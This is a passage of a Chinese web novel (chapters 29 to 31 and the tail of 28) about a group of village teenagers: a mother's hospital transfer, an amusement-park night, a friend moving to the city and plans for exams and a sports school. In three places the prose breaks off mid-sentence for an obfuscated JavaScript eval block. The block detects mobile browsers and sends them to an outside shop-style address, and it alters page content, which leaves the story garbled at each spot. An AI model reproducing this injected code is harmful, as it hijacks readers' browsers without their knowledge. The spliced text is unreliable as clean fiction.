徐妈说,今年她参与主刀了一台肿瘤产妇生产及切瘤手术,手术十分成功,母子俩安然无恙,为此获得院里表彰。另外她的论文也在年中发表了,工作学术都有成绩。今早接到领导通知,开年后可能会被调去市中心医院妇产科任主治医生。 徐妈没有说得太确切,毕竟调令没下来,可能会有变数。 见父女俩不说话,徐妈又开口:“主任说我可以拒绝,继续留在区县医院,不过会给我升职,市医院那边虽然是平级调过去,但各方面条件都高出不少,为了以后的职业道路,他们希望我考虑考虑。” 徐爸闻言激动不已,大腿一拍,“还考虑什么,当然得去啊!” 徐澄月紧跟在后,“是啊,妈,你简直是我们家最厉害的人,瞧我和我爸,瞬间变没用了。” 徐爸反驳:“也没那么没用,好歹我也升车队主管了!” 父女俩不着调的话,徐妈听得直笑,“胡说什么呢?你们真的觉得我该去?” 两人头点得快到地上。 “我如果去,就没办法天天回家,医院会给分家属房,等澄澄中考,报一个那边的学校,我们可以搬过去,不过这样我们一家人就有一年多的时间要分隔两地。” 徐爸不觉得这是问题,“一年半而已,很快就过去了,而且周末我可以带澄澄去看你,你休假了也可以回来,总归不是一年到头见不了。” “可是澄澄就快中考了,我不在……” 徐爸知道她担心什么,“你放心,大不了这段时间我不跑长途,怎么说我现在也是个小官了,这点事还是能安排的。一家两口人,总要有人做点小退步,总不能每次都要你来,这回我来。结婚那会对你说的话可不是说着玩的。” 徐澄月听得出父母话里话外都是忧心自己,当即表示她这个年纪了,能照顾好自己,再不济还有阿爷和方叔屏姨,这家蹭蹭那家吃吃,总能填饱肚子。学习就更不用操心了,对成绩他们向来不强求,再说有阿敛在,时刻盯着,她不学都不行。担心她会因为母亲缺席这重要一年而有情绪?完全不用,她在父母充足的爱与呵护下长大,知道即便他们任何一方不在身边,关切与惦念只多不少。 夫妻俩听完女儿一番话,皆是欣慰。徐爸搂过她,骄傲道:“不愧是我女儿,和我当年一样。” 徐澄月八卦道:“那当年你们结婚,你和我妈说什么了?” 徐爸眉一挑,“秘密。” 小玩笑过后,徐澄月郑重地问:“妈妈,你想去吗?” 徐妈只犹豫几秒便点头,获得认可和赏识是令人骄傲的事,而且她也向往更广阔的天空。虽然她这么郑重其事地同他们商量,但她已经做好了假如他们不同意说服他们的准备,甚至想着即便他们阻拦,她也坚定要去。她是妻子,是母亲,是儿媳,但她还是她自己,有她的理想,有学医多年的抱负,不甘这样丢下。 但她希望真正得到家人的支持,“你们真的支持我去?” “真的!”父女俩异口同声。 徐爸替她张罗起来,“这可是大喜事,得请大家吃饭庆祝庆祝,不过这顿得贺医生你请啊,升职加薪,我们都来沾你的光。” 徐妈大方应下,“没问题,等调令下来的。” * 因江峤夫妇乔迁新居要请朋友客户吃饭,耽搁了几天,一家人在过年前三天才回来。刚到家,阿爷就指挥他们先大扫除,自己则火急火燎上街采买除夕祭祀要用的东西。 江韫北打扫一半开溜到徐澄月家,明天是俞麒俞麟的生日,他们老早就和家里说好,要一块去游乐场玩夜场。饶是之前在城里也玩过不少,江韫北依旧对这次伙伴一同出行期待满满。 他抱着烤鸽,像拿到什么称手兵器,一个劲揉它的脑袋。一人一猫窝在徐妈给徐澄月铺的软塌上,躺下去,半截腿在外面摇晃,舒服地翻身打转,偷偷脱了鞋,打算脚也盘上去,谁知一点没逃过徐澄月的利眼。 她阴恻恻地说:“我妈才给我洗干净,敢上脚,把你脚剁了!” 江韫北气呼呼把脚塞回鞋子,“睁着眼说瞎话是吧。” “你鞋一脱我就知道了,还用看。” 江韫北立马抱起脚闻,嘀咕着不臭啊。 徐澄月一个坐垫扔过去,让他别恶心,又问他赖在她房间干嘛。 江韫北这才想起正事,“你说俞麒俞麟明晚能去吗?” 来徐澄月家之前,他原打算先去俞麒家,还没走近就听到传出来的钢琴声,猜想应该是俞叔回来了,往常他不在,俞麒极少碰那架钢琴,只有被邻里街坊起哄让他弹一首,他才沉默地弹一弹。于是调转来到徐澄月这,忧心素来对俞麒俞麟教育严格的俞叔,会不同意明晚的出行。 徐澄月说:“屏姨都同意了,应该能去的。” “也是。”毕竟俞叔讲不过屏姨。 第二天傍晚,俞麒俞麟按时出现,跟在身后的俞叔神色担忧,千叮咛万嘱咐有什么事一定要及时打电话给他,耳朵听得起茧子,幸好屏姨出现,揪着衣领子把人拎回去。 游乐场在市区,坐公车直达,他们还约了何意霖,几人碰面后一道出发。 冬天入夜早,他们抵达游乐场,天色灰蒙,但场内四处点着灯,亮堂得像座富丽堂皇的宫殿。游乐设施多得令人眼花缭乱,不知道从哪个玩起。 江韫北冲在最前头,“当然从人少的项目开始玩!” 人少的都是些不好玩的项目,江韫北改变策略,几人玩石头剪刀布,输的人负责排队买票,每个项目玩一次。 众人无异议。 第一轮聪明的人先落败,方之敛看着自己光秃秃的两根手指,在伙伴们的欢呼中,愿赌服输去过山车的队伍排队。 其他人接着往下玩。 来到气球射击赢奖品的摊位,几人摸玩具枪乱打时,就听耳边一串连续齐整的“砰砰”,循声望去,岳清卓扛着枪,眯起左眼,将第一行气球都扫荡了。打破规定个数,她豪气地朝徐澄月和何意霖一伸手,叫她们随便挑。 两个女孩被她英姿飒爽的模样迷住,徐澄月更是跳上去在她脸上响亮亲一口,不住夸赞:“清卓,你扛枪的样子帅呆了!” 何意霖狂点头表示自己的敬佩。 岳清卓被夸得脸红,让她们赶紧挑玩偶,又转向三个握着枪呆头愣脑的男生,“你们要不要?” 江韫北还不知道她会这招,她不是练拳去了吗?怎么练打枪也学会了? 岳清卓解释,跆拳道老板的侄子是退伍军人,最近在拳馆教散打,和他学的。又问一遍他们要不要。 为挽回男子汉尊严,三人一致决定要自己打。 “行,那我打一个给阿敛。” 三人玩半天,换的零钱都快搭进去了,也没能打中一只,女生们等得不耐烦,最后岳清卓抢过他们的枪,一分钟搞定,拎着打到的老山羊去找方之敛。 方之敛已经买到票了,正准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913357|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去找他们,远远就见岳清卓左边挎着徐澄月右边挎着何意霖,朝他跑来。奇怪的姿势让方之敛失笑,喊她们慢点。 岳清卓献宝似的把老山羊捧到他面前,急忙要他看:“像不像你?” “我?”方之敛不明所以。 “老山羊啊,羊群里的领头羊,戴着眼镜,老神在在的,手背在身后,盯犊子似的盯着我们,生怕我们不学习,不吃饭,不开心,出什么事,受伤。”岳清卓一面说,一面配动作,生动演绎老山羊的形象。 方之敛很认真地思考一番:“你这描述,怎么有点像教导主任?” 徐澄月搭腔:“可不就是我们几个人里的教导主任。” 方之敛好脾气地笑,任他们打趣,将山羊装进斜挎包里,露出个脑袋,“票买好了,走吧。” 黑夜给高空游戏增加了不知名的刺激与恐惧,有的人惊叫连连,有的人意犹未尽。 俞麟和江韫北相互搀扶着出来,脚步险些打滑,岳清卓扶着何意霖,后者脸色微白,方之敛跟在她们身后,也没好到哪里去。走在最后的俞麒和徐澄月却精神奕奕,讨论着哪个下降点更可怕,大有再来一次的架势,可惜买票的队伍丝毫不见短。 方之敛这时摸出两张多余的票,他深谙好友脾性,肯定玩不过瘾想再玩,一个人去他不放心,所以多买了一张,最后如果没人陪同,他便舍惧陪朋友。转念一想,先前岳清卓给他的评价是对的,他就像那只站在羊群最前头,操碎心的老山羊。 好在有个得力干将——俞麒也没玩够,两人一拍即合,拿过票再去进口排队。 “你俩小心啊。”操心人多了一个,江韫北对着他们的背影喊:“俞麒,你看着点徐澄月!” 等两人进了闸口,方之敛拉拉岳清卓的衣角,示意到边上的休息椅,从包里找了块创可贴,指着她的右手中指,“怎么流血了?”在过山车上,她因本能的生理紧张抓住他的手,留下一点血迹在他手背上。 岳清卓张开五指,中指确有道小划伤,“你怎么知道?”她自己都没察觉。 方之敛没答,问她怎么弄的,又撕了湿纸巾让她先擦干净,帮她贴上。 “应该是刚刚打枪蹭的。” “打枪?” “对,你的山羊,澄澄她们的玩偶,都是我赢来的。”岳清卓顺道解释为什么她会这个,“他就教了我点小技巧。” “拳练得还开心吗?” “开心!上次小考,我和一个师兄打,我打赢了呢!” “这么厉害,那以后岳女侠可多罩着点我们。” “那必须的。” 另一端三人还在等过山车上的人,俞麟中途跑去洗手间,只剩江韫北和何意霖。 何意霖站过去一点,以临别遗憾的语气开口:“江韫北,你这走了不知道什么时候能再见面,可别到时候遇上了叫不出我名字。”女孩心脏扑通扑通跳得厉害。 江韫北啧一声:“这话说的,好像我回不来似的。周末,节假日,回来的时间一大把,再不济也有高中。” 似乎是等到这个话题,女孩迫不及待问:“你高中打算考哪里?” “朝中,朝中吧。” “不在阳城上吗?” 江韫北摊手,“没办法,太好的上不了,差一点的不乐意去,就剩朝中了,我努努力还能考上。你呢,也去朝中?” “我?”何意霖低头,盯着鞋面,有些沮丧,“我不知道,可能考不上吧。” “你这人,怎么总爱往不好的一面想,你的成绩可比我稳定多了。” “但和朝中也有距离。” 江韫北拍拍她的肩,“小何同学,想要得到更好的东西,谁不需要努力呢?你跟着俞麒阿敛混,他们会给徐澄月补习,你就和暑假一样,有不懂的直问。” “会不会给他们添麻烦?”何意霖强忍透不过气的心脏。 “这有什么麻烦,那顿自助餐白吃的啊。就这样,你要想考朝中,咱朝中见!” 29. 第 29 章 江韫北一家待到正月十五,开学前两天才回去。 同往年过年一样的快乐,叫徐澄月几人短暂忘记即将来临的分别。直到正月十六中午,阿爷和小菀姑姑大包小包往他们车里塞东西,才意识到未来几百个日子里,他们将暂时告别一个像夏日聒噪蝉鸣一样的江韫北。 即便早已预设这个场景,几人还是格外难过。目送车子驶出巷子,不舍地多停留一会。 回头,瞧见阿爷和他们一样,背着手,腰背佝偻,伸长脖子往巷子口看。阿爷的魂像那缕灰色尾气,飘扬着散在风里。徐澄月敏锐意识到,此刻最落寞的应该是阿爷。 徐澄月拉起岳清卓,一蹦一跳跑向阿爷,一人挽一边,问阿爷今天用不用去瞧他的老伙计们,午饭吃什么,镇上今天还有地方热闹,吃完祖孙几人再凑热闹去。絮絮叨叨,什么都拿来说,连鸡蛋果树夏天结果要怎么做这样老生常谈的话题都说出乐趣,她们试图用两个人的聒噪,代替一个江韫北。 三个男生跟在后头,一直盯着阿爷看的俞麟突然开口:“你们说,万一哪天我们都搬走了,阿爷会不会很孤单?” 方之敛和俞麒脚步一顿,相顾无言。 这并不是俞麟随口一说的假设,无论是不是像江叔一家一样搬去市里,将来有一天,为了求学、工作,他们迟早会离开生养自己的故乡、亲人。而年迈的阿爷阿嬷,他们会日复一日守着旧屋,在冗长的时间里,等待他们的孩子归来。 这种分离是必然的,他们无法改变。 人永远不会为了谁而长久停留在某个地方。 但现在说这些,为时尚早。 提起话题没有得到答复的俞麟,也没有追问,转而问起俞麒:韫北上车前悄咪咪和你说什么呢。 “没什么。”俞麒摇头,视线却落在徐澄月摇摇晃晃的马尾辫上。 或许是考虑很久,当面和他说时,江韫北面露犹豫。最后在江叔催促下,才语速飞快地交代他:注意你们班女生,别又到徐澄月面前嚼舌根。 “又”字用得很微妙,俞麒几乎在下一瞬就明白他想表达的。那些被他试图隐瞒的话曾被捅到徐澄月面前,江韫北也在场,以他的性子,必定会帮徐澄月出头,但过后徐澄月并没提过,也没因此责怪他。俞麒蓦地想起,那段时间江韫北对他的阴阳怪气,原来源头在这。 其实上回那次事后,他有留意一阵班里一些言论,确定没有提及徐澄月,才没再盯着,此后也没滋生出其他不恰当的话。如果不是江韫北陡然提起,或许这件事会渐渐被他淡忘,而他却一直挂念到现在。 这是第一次,俞麒发现他和江韫北的不同,在对待徐澄月上的不同。 * 当一种东西被习以为常并成为生活,那么它的消失,就像森林失去绿色,但森林似乎不能没有绿色。 在一天里从别人口中听到数十次江韫北时,徐澄月发现不知不觉,曾经或多或少遭受嫌弃的江韫北,变成了森林里一片不可缺少的绿色。 何意霖说,平时觉得他吵,现在他不在,好像空落落的。岳清卓说,家里没人和她争食打闹,阿爷做的饭都少了点滋味。方之敛觉得自己好像得了幻听症,总觉得耳边有他的喋喋不休。俞麒面上不表现,但在玩游戏机时,会下意识喊一声“韫北”。俞麟的反应最大,接连三天打电话和他抱怨少了个前锋中锋中卫全能型队友,球踢得不得劲。 徐澄月起先嘲笑他们适应能力差,但在丁爷爷家练习结束准备回家,无意识喊出江韫北时,在吃完饭左等右等等不到人来喊她去跑步时,在看到房间里四处摆着他送的礼物,烤鸽在床上和软榻两边跳蹿时,她后知后觉,自己的适应能力也没好到哪去。 但他并不是生活的必需品,少了他,日子照旧要过。 时间过无痕,日复一日似流水线,他们逐渐适应,按部就班学习,生活。 一个稀松平常的周六下午,徐妈正式接到医院的调职通知,转去市一院。徐爸特地请假,带女儿和烤鸽,陪同妻子去办手续和搬家,一家四口齐上阵。 家属院在离医院二十分钟的小区,建筑有些年头,不是时下商品房的样式,但胜在位置恰好,朝中在附近,方圆几公里内也有两所不错的高中。徐妈在老领导的帮助下,成功申请到两房一厅,就等徐澄月中考完,父女俩带烤鸽搬进来。 到地方,徐澄月先参观一通未来的家,80平左右的房子,不算宽敞,但很温馨,尤其是小房间,有一扇落地窗,应该是上一家人改造的,一眼望出去,几栋楼中都没有。落地窗外正对小区旁边的公园,绿植丰富,青天蓝云,一处天然的放松区域。她打算以落地窗为中心,左边放妈妈做的软榻,右边放书桌,学累了就看看风景,想想都惬意。 客厅里,父母一面收拾房间,一面商量要添置什么家具。徐晨月戴上徐爸做的手工纸帽子,加入清扫队伍。从白天到日暮,这间陌生的房子逐渐有他们一家三口的味道。 都没力气做饭,徐爸下楼打包几样吃的,一家三口坐在干净的地板上狼吞虎咽。烤鸽也窝在徐澄月身边,小脸埋进自己碗里。吃饱,疲倦也上来,徐澄月带头躺倒,徐妈嘴上说着不利于消化,见到丈夫也躺下去,无奈笑,只好跟着躺倒。三人头对头,腿伸长,烤鸽跳到三个脑袋中间的小空地,三人一猫像一只三叶吊扇。 徐澄月长叹一声,她开始期待未来在这座房子里的生活了。 第二周,徐妈正式到市一院任职。 起先熟悉工作环境,事务不多,一周可以回来一次,逐渐忙起来,回家频率变成一月一次,家中琐事几乎全交给徐阿嬷。 这样的情况一多,阿嬷更是不满。原先她就不支持徐妈调去市一院,觉得县里挺好,又能工作又能顾家,现在一走了之,她觉得自己没有义务帮她接这些事,又不能不做,只能不停念叨抱怨,徐爸在家时更甚。 徐爸起初耐心同她解释,得不到谅解也不费口舌,嘱咐女儿他不在家的时候,如果阿嬷没做饭就去阿爷或屏姨家吃,学习也去他们那,别听阿嬷唠叨。 徐澄月牢记,只是有时听到她的指责,还是会忍不住为妈妈辩解,于是她被连坐,也被骂个狗血淋头。岳清卓安慰她,阿嬷惯来那样,嘴上不饶人,又固执己见,能避开尽量避开,免得挨骂。 最后阿嬷索性不管她,徐爸在家时就象征性烧几个菜,不在家就潦草应付。徐澄月不想父母工作之余还操心她,有什么吃什么,没有就自己做或到阿爷家蹭饭。 持续一月后被徐爸发现,徐爸罕见地与母亲吵起来,最后阿嬷摔门而去,徐澄月从房间出来,安慰父亲,其实她也没被饿到。徐爸愧疚,但还是和她约定不告诉徐妈,免她担忧。此后坚持每晚回家,回不来则交代阿爷去看一眼。 周五晚上,阿爷要去吃席,江菀去邻市进货,便把岳清卓和徐澄月的晚饭交代给钟屏。钟屏做了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928365|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一桌菜,又买了几样她们爱吃的熟食,把人喂得饭后夜跑都跑不动。 “歇一晚歇一晚。”将运动和练拳视为头等大事的岳清卓,难得主动提出休息。 俞麒泡了茶给她们消食,坐到徐澄月身边,问她短跑练得怎么样。 学期快要结束,马上进入初三,中考近在咫尺,最早一项考试是体育,几人中体育相对弱势的是徐澄月,虽然她一直坚持夜跑,但与计时速跑还是不一样。 徐澄月回答:“其实还没怎么正式练过,不过之前江韫北抓我练跑步,现在跑几公里也没那么喘。” 提起江韫北,俞麟率先反应,说好久没见他了。他转学过去,就只五一那会回来过一趟,也不知道在干嘛。他提议给他打个电话,话落电话已拨出去。 接通,江韫北还是那副吊儿郎当的痞劲,“怎么,想你爹了?” 暗号对上,俞麟立马反唇相讥:“你个老贼!” 这熟练流程,一看平时就没少打电话胡侃。 “你最近做什么呢?怎么也不回来?”俞麟着急忙慌问他。 “没做什么,上学学习没事找点东西玩,周末也差不多,有时候和我爸妈出去走走。没有长假,回去搁一天多就得回来,时间还不够我伤心呢!” 最后一句玩笑着说出来,一旁徐澄月却觉得是事实,并且对江韫北如何伤心充满好奇。 她不假思索地问:“怎么伤心,哭吗?”后面跟一连串“哈哈”笑。 “徐澄月?你也在?”忆起刚刚父母说的事,再次问她徐姨不在,阿嬷有没有为难她。 徐澄月笑了声,说还好,这个问题在他刚得知徐妈调职就打电话问过了。 岳清卓倾身对上话筒:“我们都在,羡慕吧!” 俞麒补充:“晚上在我家吃饭。” 江韫北重重叹声气:“我想吃阿爷的大锅饭了。” 俞麟引诱他下周回来。江韫北说回不了,下周他们要测试,占了周六一天。芜洋的重点班虽人才济济,学习节奏也挺快,但出来了才知道山外有山,人外有人。 “这里的人,太拼,我费好大劲才考到班里中游。对了徐澄月,你最近一次考试怎么样?” 没怎么样,很稳定,不进不退,但意味着离朝中还有一段距离。 “没事,还有一年,你有阿敛和俞麒两个军师呢。” 抛开学习,聊起其他,几人听到他那边的轰轰声,问他做什么? 他说他爸正带他们兜风呢。 俞麟挪到钢琴边上,按下一个琴键,“我们听我哥弹琴呢。”而后示意俞麒快上去露一手。 话筒另一头的吵闹消失,大概是他关了车窗,等了一会听不到声,问怎么到他这就不给听了? 俞麒被俞麟拉到钢琴前,“哥你弹几首当练手,反正你周末也要去考级。” 俞麒无奈,在伙伴们期待的眼神中,按下琴键。 一首还没弹完,徐澄月突然站起来,拉下俞麒的手,“别弹了,考试前不能太紧张,我们去海边骑车吧。” 几人齐赞成,手机上传来一声咆哮:“徐澄月,你又馋我。” “就馋你!”徐澄月利落挂了电话。 几人告知钟屏一声,出门。 走在最后头的俞麒或许没有意识到,徐澄月打断他的瞬间,他埋头,紧绷的神色,像被日头晒蔫了的花叶,沾了傍晚的露珠,又见青葱绿意。 30. 第 30 章 江韫北从湖边喂完一腿蚊子回来,再次发誓不再跟夫妻俩出去散步。打着一家人出去走走的名义,实际是让刚买照相机的他,给他们拍照。 父母跟在身后,悠哉游哉地解释,这也是锻炼他的技术嘛。 江韫北表示如果是以满腿蚊子包为代价,这种锻炼不要也罢。说完回房间,拧开清凉油一股脑往腿上抹,又凉又热又刺痛的感觉,一瞬上头。抓心挠肝的瘙痒消去一些,嫌身上一股药油味,钻进浴室又冲了个澡。 回来整理今晚拍的照片。 相机买来有一段时间,还没琢磨透,就已经拍了不少照片。 喜欢上摄影这事挺偶然。 来阳城后不久同父母出去逛街,他们去看电脑,他一个人往边上摆相机的柜台逛。导购小姐热情过来介绍,性能啊配置啊什么的,他一个字也没听懂,注意力被一旁同样看相机的小哥吸引,他随便对着柜台角拍一张,他凑近看了眼,直觉神奇,那平平无奇的桌子,在镜头里好像有了种别样的感觉。 他捕捉到自己的兴趣,来阳城后第一次出现这种感觉,和初到云水村,对新奇一切充满好奇的感觉一样。远离那片有趣的土地,可爱的邻里乡亲,和一群各有意思的伙伴,生活无聊极了,虽然新的班级新的同学,他照旧打得火热,如鱼得水,总归觉得缺了点东西。 于是每天只能学习,但学久了也烦,踢球,队伍是新的,还在磨合,也踢不出什么劲,想着干脆再找个新玩意打发时间算了。 父母看完电脑,过来瞧他对着相机发呆,问他看上哪个。 “给我买?”江韫北眉一挑,语带窃喜。 江爸点头,他喜欢的东西,能力范围内他们都会满足。 江韫北欢呼一声,找来导购推荐,买下一款适合新手,配置也不错的,就是小贵,但看他爸眼都不眨付了钱,他心安理得收下。 此后漫长单调的日子有了新玩意,学习之余就在网上琢磨教程,想着学好了,回去给他们露一手。 整理完,他在屋内兜圈找东西拍。先是落地窗,这个朝向对的是外面马路,马路过去是一条桥,桥下是江,夜晚亮起灯,车辆三三两两驶过,“咔嚓”一声,就是一幅夜晚江景图。镜头对向屋内,书桌,右上角的位置放着徐澄月送的木雕,每次看到总要笑,继而念叨徐澄月一遍,他那么多帅气时刻,偏偏只记得这个。 换角度拍了好一些,坐下拿在手中把玩,越看越觉得趴着的人跟他长得挺像。他一直以为徐澄月对木雕的喜欢是短暂的,就像初二开始接触物理,她觉得新奇,下功夫钻研了好一阵,后来兴趣淡了,也就没那么用心。谁知学木雕坚持到现在,而且进步肉眼可见,比起那会送给俞麒的鸟,自己这个简直灵活许多。 想起这个,江韫北还有些不甘,当初明明说好了,她第一件木雕作品要送给他,谁知转头就忘了,俞麒比他先拿到,让他耿耿于怀好久。不过念在他这件比俞麒的好看,也就勉强接受,大度不生她的气了。 时间还早,江韫北捏着手机,犹豫要不要给她发个短信。 傍晚那通电话里得知她的成绩没什么进步,离朝中还差一截,她语气平平,他却替她着急,犹豫一番还是给她发去短信,问详细情况。 她很快回复各科成绩。 江韫北算了算,不知道两所学校的试卷难度如何,徐澄月的成绩虽然没退,但已经和后来者的他相差不多。 前面两次也是,他拼着一股气往前走,她却好像在原地踏步,当初约好的事,她抛到脑后了?莫名的,江韫北此刻有些恼,但也只能委婉询问:是不是上课又玩木雕去了? 徐澄月:老师们一个个眼睛那么尖,我偷吃点零食都能被发现。 江韫北看乐了,敢情现在还敢在课上吃零食了?但转念一想,觉得不对劲,以前她顶多偷偷打瞌睡,偷偷画画。脑筋一动,便知道了,问她一天三餐怎么吃的。 徐澄月:一般在家吃,有时候去阿爷或屏姨那蹭。 江韫北盯着屏幕叹气,在家吃,若是徐叔不在,阿嬷肯定应付着做点,徐澄月喜欢吃,但嘴挑,阿嬷做的,再挑她也不敢说。 不好在长辈背后说什么,只能玩笑道是不是阿爷最近苛待他们,做的菜不合胃口了。 徐澄月:阿爷做的不合你胃口都不会不合我胃口。 好几个不字,江韫北看了一会才读清楚,也是,老头子疼她比亲生的还疼。 他心里有了主意,也不想在这个节骨眼去追问她的学习状况,但还是忍不住多加一句:别忘了咱几个要一起考朝中的。 大概去洗漱了,好一会才回复,十分有气势的一句话:放心,我有分寸。 第二天课间休息,徐澄月收到岳清卓投喂的两大袋零食,她问:“这是给我明年的生日礼物?” 岳清卓斜她一眼,“怎么,不是生日我就不能给你买零食了?” 徐澄月讨好的凑上去,忙说当然不是,只是她们现在零花钱有限,这两袋东西肯定费不少钱。 岳清卓告诉她,是江韫北让她买的。 今天一大早特地打电话,还交代买一些扛饿的,赶上她起床气,正想发脾气说不干,被他开出颇丰厚的跑腿小费诱惑,假装勉强应下这差事。末了故意抱怨,怎么没见他孝敬一下她这个姐姐。江韫北对着电话大吼:不是你说你练拳控制体重不吃零食吗还倒打一耙岳清卓你等着我回去和你打一架。然后撂了电话。 “打一架?哼,我出个拳他都不知道上哪去。” 徐澄月被他们姐弟日常拌嘴逗笑,收下零食,让她拿一袋去分给俞麒和阿敛。 岳清卓说不用,江韫北那小子也不是个偏心的,给他们也买了一些。 提着两袋子进教室,吆喝身边的人要吃自己拿,抽屉收空塞一堆进去,再塞点进书包晚上当宵夜。 何意霖拆了包薯片,问她哪来的。 徐澄月嘿嘿笑,继续往书包里塞,“江韫北送的。” 何意霖塞了片大的,咬碎后不小心划到舌头,有丝丝血味,她囫囵吞下去,继续吃,“哟,江韫北还挺记挂咱。” * 学期快结束时,俞麟突然宣布了一个消息,他被朝城一所声誉不错的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941935|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体校选中,出过好几位运动员。下学期初去参加选拔考试,如果专业测试通过,相当于一脚跨进,就等中考文化课分数,比普通高中低很多,是他能考的分数。 俞麟得知这个消息兴奋不已,绕操场跑了五圈才停下来,汗水淋漓地再次向伙伴们表达欣喜,他离自己的梦想又近一步了。 梦想?众人惊讶,他从来没和他们说过。 一直忧心弟弟能否上高中的俞麒,此刻却没有他那样的兴奋,那所体校名声虽不错,但他总觉把所有压在一条路上的选择并不可取,竞技体育耗身体,如果上普通高中,到时哪怕真的出意外,也有其他出路。 “你想好了?不上普通高中?” 哥哥严肃的神色让俞麟的开心淡去一些,“嗯,想好了,我不爱学习,也考不上普通高中,而且,我喜欢跑步。” 他知道哥哥一直把这些体育运动归为强身健体类的兴趣,并不希望他把它们当作正经事对待,即便他无数次表示他的运动天赋很好,相比文化课更有优势,他也希望他将重心放在文化课上。 所以他从来没有吐露过,自己对跑步的热爱。他享受被风追也追风的自由,享受汗水滴落在土地的踏实,更享受身体冲过终点线瞬间的自豪与观众激烈的掌声。 相比书本上一板一眼冷冰冰的文字、单词、公式,他更愿意体会身体带给他的成就。 他不知道该怎么和哥哥述说这些复杂的感想,只能笼统地先将它们归为梦想。 可哥哥似乎不为他的梦想所动。 沉寂好一会,远处有足球队队友大声的道贺,他强撑笑脸回应,忐忑等待哥哥的反应。 最后还是徐澄月先开口,让诡异的沉默破碎,“俞麟,好棒的梦想,那你去读体校,以后我是不是可以在奥运会上看到你?” 俞麟感激地挨到徐澄月旁边,同她说这还早,他现在首要目标是上体校,参加系统专业的训练,然后才能有机会参加各种比赛,一路向前。 这些话说给好友听,也说给哥哥听。俞麟暗暗去观察俞麒的反应,他依旧面无表情,坐姿都没换一下。 方之敛身为旁观者,对他们兄弟二人的心思再清楚不过,站出来当和事佬,“其实我倒觉得俞麟这么做是对的,每个人的接受能力不一样,你觉得很容易的各种题目,在俞麟那比登天都难,同样,俞麟轻轻松松11秒多跑完100米,你也做不到。拔苗助长不是好事,把苗放在不合适的地也不是好事,正好有另一种方式,让他成为俞麟,也挺幸运。” 方之敛能想明白的事,俞麒怎么会想不通,只是他一直在死胡同里转,现在有人拉他一把,他顺势走出来。神色稍霁,随后对俞麟说:“那寒假就好好练,心思别放到其他去。”许是觉得不好意思,说完就起身离开。 俞麟点头如捣蒜,而后跳到方之敛身上,不停夸:“阿敛不愧是我好兄弟好兄弟你太聪明了,简直是我的军师。” 方之敛被缠得站不稳,只好抱住他。 坐在草地上的两个女生也朝他束起大拇指,不愧是团队中的老山羊,轻松拿下高压俞麒。 31. 第 31 章 云水村六人团在暑假期间再次合体。 得知江韫北先由江叔送回来,俞麟一大早就到阿爷家等着,比等自家老父亲回来还要积极。光自己等还不够,跑到徐家把徐澄月闹醒,后者只刷个牙,穿着睡衣邋里邋遢被他拽到阿爷家。 徐澄月打着哈欠嘟囔:“又不是没见过。” 但俞麟的兴奋丝毫不减。 听到汽车鸣笛声,他拉着徐澄月跑出去,在江韫北下车瞬间精准扑到他身上。 江韫北睡了一路,身体还软着,被他这一撞差点跪下,好在常年运动下盘稳,清醒过来,拍拍他的背,叫他下来,搞得和小媳妇似的那么腻歪。 瞥见后头的徐澄月,一脸看戏表情望着他们,他连忙拽下人,先发制人:“徐澄月,你就穿这身迎接我?” “不然呢?”徐澄月拨下头发挡住刺眼阳光,“我还得洗个澡换身新衣裳?” 江韫北走到她身边,啧啧摇头,“不行啊徐澄月,一学期了一点没高。”他比她已经高出不止一个脑袋了。 徐澄月咧嘴,皮笑肉不笑,趁他不注意,拽住他后领,跳起扣到他头上,再按着往下压,蒙头给了他两拳,才松开喊着江叔跑进去。 狗贼江韫北,一点没变,还是那么招打。 放下行李,江韫北只来得及揉一把烤鸽脑袋,阿爷特地准备的早餐都来不及吃,就被俞麟拽出门。 放假前他们说好了,等他回来,陪他一块练。 江韫北知道,练是其次,他在紧张。帮他测完两次,又一起跑了两圈,江韫北拉着他随便坐在马路牙子上,问他紧张什么。 俞麟垂着脑袋,说怕出意外,本来俞麒就希望他以体育特长生考普通高中,这次选拔考试,他并不看好,是阿敛和他妈劝说下,他才松了口,万一出什么意外,没有把握住这次证明自己的机会,到时就真得被抓去硬学文化课。 江韫北见他提起学习像赴死一样的脸色,顿觉好笑,又看他扔着石头的丧气模样,出声宽慰:“那么消极干什么,你之前的成绩不比谁差,100米你跑过11秒,再少个两秒,都是世界冠军了。剩一个多月,还愁没时间练啊。再说了,就算这所学校没过,还有其他,你不想读普通高中,俞麒还能逼你?” 俞麟瓮声瓮气:“他是我哥。” “俞叔来了也不能把你绑去上。” “可他是我哥。” 江韫北:“……” 